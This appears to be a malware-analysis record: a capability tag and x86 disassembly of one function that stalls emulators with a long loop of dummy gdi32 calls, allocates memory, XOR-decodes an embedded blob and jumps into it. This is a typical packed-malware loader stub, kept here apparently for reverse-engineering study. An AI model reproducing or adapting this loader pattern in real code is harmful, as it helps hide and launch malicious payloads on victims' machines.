Function at 0x4c3f24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
push 0x4c4124
push 0xa
mov ecx, dword [0x4c7668]
mov dl, 1
mov eax, dword [0x419ce0]
call fcn.0041d4c8
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], esp
add dword [ebp - 4], 0xb0
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x64
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x4c7668]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_EndPath
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x4c3f97
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.0041ce34
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x86
mov dword [ebp - 0x3c], 0x15
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x8a58a
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.00406f1c
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x4c4091
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x38]
call fcn.00406f14
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
push 0
call sub.gdi32.dll_EndPath
add eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x4c405a
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x4c40df
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
push 0
call sub.gdi32.dll_EndPath
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x18]
add eax, edx
mov edx, dword [ebp - 0x28]
xor dword [edx], eax
add dword [ebp - 0x18], 4
push 0
call sub.gdi32.dll_EndPath
add eax, 4
add dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x4c4099
mov dword [ebp - 0x30], 0x5630
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x4c7668]
mov eax, 1
push eax
jmp dword [ebp - 0x14]